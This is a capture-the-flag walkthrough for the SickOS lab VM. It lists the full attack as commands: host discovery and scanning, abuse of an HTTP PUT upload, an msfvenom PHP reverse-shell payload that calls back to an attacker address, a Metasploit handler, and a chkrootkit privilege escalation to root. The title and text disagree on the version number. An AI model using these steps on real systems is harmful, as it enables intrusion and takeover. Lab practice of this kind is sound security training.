Hack the SickOS 2.1 VM (CTF Challenge)

In this walk through I will explain how to solve the SickOs 1.2 challenge. This OS is second in following series from SickOs and is independent of the prior releases, scope of challenge is to gain highest privileges on the system. This CTF gives a clear analogy of how hacking strategies can be performed on a network to compromise it in a safe environment.

First Download Sick OS from Here

So, first let us find our target by using :

netdiscover

Our target is 192.168.1.105 Further we will apply nmap scan :
nmap -A -p- 192.168.1.105

As you can see that port 80 is open that means we can open this IP in the browser. Why not do that?

Opening the IP in the browser will show us the above image which is of no use. You can try and look into the page source but unfortunately you will find nothing there. That is why we will use dirb and to find the directories. And for that type :

dirb http://192.168.1.105

As a result you can see we have found our directory i.e. test Open it in the browser as well.
192.168.1.105/test/

It will show you the list of directories. So let us try and explore test directory via curl.
curl -v -X OPTIONS http://192.168.1.105/test

This exploring will show you that PUT is allowed that means you can upload through it.
So, prepare the malicious file that you would upload with msfvenom :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.113 lport=4444 -f raw

Copy the code from <?php to die() and save it in a file with .php extension.
Now to upload your .php file we will use the add-on poster.
Click on the tools from the menu bar. And then click on Poster from the drop down menu.

A following dialog box will open. Here, browse the file that you will upload and click on PUT option.

It will show you that the file is uploaded.

And you can see the same on your browser that you file will be uploaded (as in our case the file is shell.php)

Simultaneously, open metasploit and use multi/handler :

use multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.1.113

set lport 4444

exploit

After hitting enter button on your keyboard, run the file you just uploaded. It will give you a meterpreter session. Go to shell typing :

shell

Now we need to import the python file to reach the terminal and to do so type :

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

Now there might the kernel version that we could exploit so to check its version type ;

lsb_release -a

As you can see that version is not exploitable so we will leave it alone.

Moving further type the following to explore more and find something to be exploitable :
ls -l /etc/cron.daily

The above command will give you the list of the files. On observing you can see that there is chkrootkit. Some of its version are exploitable therefore we will check its version and for that type :

chkrootkit -V

It will show you the version which is 0.49

We will now search for its exploit in the terminal of Kali by typing :

searchsploit chkrootkit

Hence, the exploits.

Now open metasploit and check the already opened session first and then look for the exploit by typing :

search chkrootkit

And the exploit which you have to use will appear. And to use this exploit type :

Then further type options so that you will know what options you are supposed to set. Checking the options you know you only need to assign he session and lport so type :

use exploit/unix/local/chkrootkit

set session 1

set lport 8080

exploit

Now check whether you have gained another session or not and for that type :

sessions
And as you can see you will surely have one more session and so to open that session type :
sessions -i 2
As you open the session check what user you are in and for that type :
whoami
It will show you that you are in root so further type :
cd /root
And to see the list of files in /root type :
ls -lsa
In the list you will see that there is a text file and to read that file type :
cat 7d83aaa2bf93d8040f3f22ec6ad9d5a.txt